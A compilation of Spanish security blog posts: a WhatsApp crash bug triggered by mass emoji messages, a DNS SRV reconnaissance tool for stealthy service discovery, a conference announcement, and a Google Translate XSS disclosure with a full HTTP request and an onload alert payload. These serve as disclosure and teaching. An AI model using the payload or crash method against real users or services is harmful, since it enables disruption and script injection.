Nueva Vulnerabilidad en WhatsApp mediante envío de Emojis

Hola a tod@s


Nuevo fallo de WhatsApp descubierto recientemente podría poner en peligro su habitual forma de comunicación, especialmente si utilizan smartphones Android.

Justo hace un año, en diciembre de 2014, los investigadores de seguridad Indrajeet Bhuyan y Saurav Kar descubrieron una vulnerabilidad en WhatsApp que permitía bloquear remotamente el smartphone del receptor de un mensaje simplemente enviando 2000 palabras con caracteres especiales que alcanzasen los 2kb de información. Al recibir uno de estos mensajes la aplicación se bloqueaba y entraba en bucle hasta que el receptor borraba la conversación entera e iniciaba un nuevo chat.

Aunque WhatsApp solucionó aquella vulnerabilidad, parece que no era la única. El investigador de seguridad Indrajeet Bhuyan ha descubierto ahora otra vulnerabilidad similar en WhatsApp, la única diferencia es que en vez de enviar caracteres de texto emplea emojis.

Tal y como explica Bhuyan, esta vulnerabilidad puede ser empleada para bloquear la aplicación para ello hay que enviar entre 4200 y 4400 emojis en un mensaje. Esto provoca que la conversación entre el receptor y el emisor “pete”.

Solución: Para que la aplicación vuelva a funcionar el remitente se ve obligado a borrar el chat con el emisor e iniciar una nueva.
Si queréis felicitar las fiestas estas navidades, díselo con emojis. ;)

No seáis malos.

Fuentes: http://www.techtimes.com/articles/118986/20151223/emoji-bomb-can-make-whatsapp-crash-heres-how-to-do-it-according-to-a-security-researcher.htm

Pentesters De Gatillo Fácil - Usa tu dig de 9mm

Imagen nada friki de nmap con sombrero vaquero
Si algo hay común en el 99.99% de los test de intrusión que se realizan es el uso de escaners de puertos en la fase de Escaneo del objetivo.

Existen múltiples escaners de puertos en la actualidad; algunos ampliamente conocidos y utilizados como nmap o más recientemente masscan y otros menos conocidos como SuperScan, Advanced Port Scanner, Angry IP Scanner, etc...

El objetivo de estas herramientas es la de encontrar servicios provistos por equipos de del dominio objetivo con la esperanza de encontrar alguno con una versión obsoleta con vulnerabilidades de las que tomar ventaja.

Dependiendo de cómo se haga, un escaneo de puertos puede llegar a ser muy ruidoso y fácil de detectar para los administradores de los sistemas auditados, incluyendo la posibilidad de que algún que otro servidor se quede tostado con el escaneo.

En algunos casos, desenfundar el nmap a la primera de cambio y comendar a disparar SYNs a todo lo que se menea no tiene por que ser la única aproximación a la identificación de servicios.

Para poder retrasar esta fase de disparo a lo loco un poco más, acuden a nuestro rescate los registros SRV de los DNS (RFC2782). Estos registros ayudan a identificar servicios provistos a través de consultas al DNS con el siguiente formato de RR (Resource Record):
_Service._Proto.Name TTL Class SRV Priority Weight Port Target

Este RR facilita una forma de explorar el DNS en busca de servicios de cualquier tipo sin necesitar crear RR específicos para el servicio buscado, como por ejemplo ocurre con los RR de tipo MX o NS. Es decir, el RFC2782 se creó con el objetivo de generalizar la localización de servicios para un dominio. Por ejemplo, se podría preguntar al DNS por el servidor que da servicio CalDAV (una extensión de WebDAV para calendarios) con la siguiente query utilizando la herramienta dig:




$ dig @8.8.8.8 _caldav._tcp.google.com srv +short
5 0 80 calendar.google.com.




Como se puede observar, el DNS responde con la información de dónde está el servidor CalDAV del dominio google.com (calendar.google.com) incluyendo el número de puerto por el que está dando este servicio (el 80). 

Buceando en www.ietf.org he buscado aquellos RFCs que definían un SRV record para el protocolo, dando finalmente con un listado de aproximadamente 52 registros SRV que podrían encontrarse si el servidor DNS está configurado para ello.


Para automatizar esta tarea de descubrimiento de servicios he creado DNSProspect, que recibe como entrada un fichero con un listado de dominios o un nombre de dominio único y el nombre de un fichero CSV donde guardar los resultados encontrados. El script preguntará a un listado de open resolvers por estos 52 registros SRV del(de los) dominio(s) objetivo (el DNS preguntado es elegido aleatoriamente en cada query). 



Este script nos permitirá encontrar puertos abiertos en servidores del dominio objetivo sin llegar siquiera a que el objetivo detecte ningún tipo de comunicación hacia ninguno de sus servidores por tu parte (aunque los DNS a los que se se esté preguntando puedan llegar a redirigir la query al DNS autoritativo del objetivo).



Para que os hagáis una idea, del listado de Top 1000 dominios de Alexa he encontrado unos 485 puertos TCP y UDP dando servicio sin llegar siquiera a lanzar un SYN hacia ninguno de sus servidores, de los cuales, los más frecuentes han sido servicios XMPP, SIP e incluso servicios de Directorio Activo y Kerberos.



En resumen: el uso de los registros SRV puede ser muy útil para encontrar servicios abiertos y conseguir pasar más desapercibido frente al objetivo, ya que no se llega a realizar comunicación directa por nuestra parte.

Si utilizais la herramienta o conocéis posibles registros SRV que pueda añadir al listado a testear no dudéis en comentádmelo o hacer un pull request en github.



¡Hasta la próxima!



Novedades SecAdmin2015

Novedades SecAdmin2015



Hola a tod@s

Atención, como saben faltan 11 días para el evento y lo tenemos casi todo listo.

Los talleres tienen una capacidad de 30 personas por Taller, por lo que vamos a publicar un formulario para que se puedan inscribir. 

Daremos prioridad por orden de inscripción a nivel de segundos. Así que estar atentos.

El día de apertura en donde publicaremos el enlace por email, facebook, twitter y en nuestra Web. Será el día Martes 8 a las 00:01 minuto.

El día que publicaremos el CTF, será el dia Jueves 10 a las 00:01.

El otro día estuvieron nuestros compañeros Adrián y Jorge en NEO FM, si te has perdido el programa, nos puedes escuchar aquí: http://www.ivoox.com/9525073 estuvieron hablando con algunos de los ponentes y los que darán talleres, así que si quieres saber de qué van algunos talleres, te recomiendo que lo escuches.

Por otro lado, como saben el evento se realizará en la Facultad de Informática y tanto la merienda del viernes, el desayuno y la merienda del día sábado, se incluye con la entrada, y se realizará en la cafetería de la facultad de la Escuela de Informática.

Para los que quieran quedarse a almorzar el sábado día 12. Podrán hacerlo a un precio especial para el evento. A precio de universitario por menos de 6 euros el menú. Más adelante les contaremos en qué consiste el menú y qué incluye.

La agenda está casi cerrada, la pueden ir consultando en www.secadmin.es

Cualquier duda puede enviar un email a info@secadmin.es

El día viernes 11 de diciembre, estaremos vendiendo entradas de última hora a partir de las 15:00 horas.

Recuerda, que para poder asistir a los talleres, debes de tener tu entrada previamente. No permitiremos la entrada a ninguna persona que no esté debidamente acreditada.

Puedes conseguir tu entrada aquí.

No seáis malos.

El NO Cross-Site Scripting de Google



Hola a tod@s



El pasado día utilizando el traductor de Google me fije en una funcionalidad adicional que tiene el traductor, y es que nos permite la subida de ficheros para su traducción.


Inmediatamente me puse a analizar el servicio, cuál fue mi sorpresa cuando descubrí un XSS, Google no lo consideraba un riesgo, pues no tiene impacto porque se encuentra dentro de un sandbox, sea como fuere lo he querido traer aquí por su contenido didáctico y enseñar para el que no lo conozca.


En  primer lugar visitamos la dirección https://translate.google.es/?hl=es y hacer click en traducir un documento.


Imagen 1: https://translate.google.es/?hl=es




Subimos nuestra prueba de concepto y subimos.


 
Imagen 2:  Upload del fichero




Imagen 3: Traducir el documento



Por último podemos visualizar el XSS reflejado.

Imagen 4: XSS en el traductor de Google




A continuación la petición de Burp:

POST /translate_f HTTP/1.1
Host: translate.googleusercontent.com
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:39.0) Gecko/20100101 Firefox/39.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: https://translate.google.es/?hl=es
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------147452561017500
Content-Length: 1095

-----------------------------147452561017500
Content-Disposition: form-data; name="sl"

en
-----------------------------147452561017500
Content-Disposition: form-data; name="tl"

es
-----------------------------147452561017500
Content-Disposition: form-data; name="js"

y
-----------------------------147452561017500
Content-Disposition: form-data; name="prev"

_t
-----------------------------147452561017500
Content-Disposition: form-data; name="hl"

es
-----------------------------147452561017500
Content-Disposition: form-data; name="ie"

UTF-8
-----------------------------147452561017500
Content-Disposition: form-data; name="text"


-----------------------------147452561017500
Content-Disposition: form-data; name="file"; filename="poc.html"
Content-Type: text/html

<img src="http://www.imagenesderisa.com.mx/wp-content/uploads/2015/10/imagenes-de-risa-2.jpg" onload="alert('XSS en Google AUDIT')"</img>
-----------------------------147452561017500
Content-Disposition: form-data; name="edit-text"


-----------------------------147452561017500--

 


Tras notificarlo a Google me informaron que no se considera un riesgo, pues está dentro de la sandbox, por lo que no afecta al bugbounty.